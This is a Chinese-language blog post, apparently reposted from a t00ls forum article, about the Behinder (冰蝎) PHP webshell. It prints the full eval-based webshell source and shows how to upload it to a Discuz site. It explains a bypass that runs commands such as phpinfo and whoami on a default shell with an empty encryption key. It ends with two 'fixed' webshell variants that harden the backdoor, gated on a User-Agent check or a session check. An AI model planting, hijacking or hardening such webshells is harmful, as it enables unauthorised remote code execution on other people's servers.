當你的才華
還撐不起你的野心時
那你就應該靜下心來學習
目錄
原文第一篇來自:https://www.t00ls.net/articles-56337.html 作者:kl_520
PS:膜拜tools 的大佬們
繞過冰蠍默認php馬子密碼,執行命令
冰蠍默認php 馬:
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __construct($p) {eval($p."");}}
@new C($params);
}
?>
本地搭建Discuz 環境,直接將WebShell.php 上傳到update 目錄下
冰蠍馬子我用的是現在最新版本2.0.1 版本,馬子在server 文件下,文件名爲shell.php,我上傳的時候改爲了webshell.php
訪問頁面是這樣的,狀態碼顯示200
砸門啥也不管,直接上冰蠍連接,輸入webshell地址+默認webshell 密碼,其它保持默認不用管,點擊【保存】按鈕
成功鏈接上
0x02 產生原因
當有get有參數pass時,隨機一個密碼給session[k]並打印出來
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
如果get沒有參數pass時,讀取session[k] 來當作解密的密鑰,接收 put 的數據,解密然後通過 | 分割執行。
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}
此時我們最開始時不要訪問 shell.php?pass=1 那麼seesion[k]就不會被賦值,也就是空。
記住千萬不要訪問,如果訪問了清空緩存再試,通過 openssl_encrypt('|phpinfo();','AES128',''); 加密phpinfo。// key值 爲空
然後echo 加密後的值,post 提交給冰蠍馬。那麼phpinfo();也會被執行成功,即可不需要密碼就能連接默認冰蠍php馬的webshell。
0x03 復現
我的電腦環境就是復現不成功,不知道爲啥.... ....扯淡,弄半天了,朋友跟我思路一樣,步驟也一樣爲什麼就復現不出來... ...,無語
此處,盜用它的圖來做演示好了
首先
<?php
openssl_encrypt('|phpinfo();','AES128','');
?>
得到加密後的phpinfo:4eNW........
執行phpinfo
執行whoami
<?php
openssl_encrypt('|system("whoami");','AES128','');
?>
0x04 修復方案
自己改吧
這裏提供tools上大佬們提供的解決方案
第一種:
連接的時候把UA設置成:123321666
PS:但通過UA 特徵會比較明顯
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
if($_SERVER['HTTP_USER_AGENT'] == '123321666'){
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
@eval($params);
}
}
?>
第二種:
判斷seesion
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqid(rand())),16);
$_SESSION['k']=$key;
print $key;
}
else if (!empty($_SESSION['k']))
{
$key=$_SESSION['k'];
$post=file_get_contents("php://input").'';
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++)
{
$post[$i] = $post[$i]^$key[$i+1&15];
} }
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
if($_SERVER['HTTP_USER_AGENT'] == '123321666')
{
$arr=explode('|',$post); $func=$arr[0];
$params=$arr[1];
@eval($params);
}
}
?>
參考鏈接:
https://www.t00ls.net/articles-56337.html
雖然我們生活在陰溝裏,但依然有人仰望星空!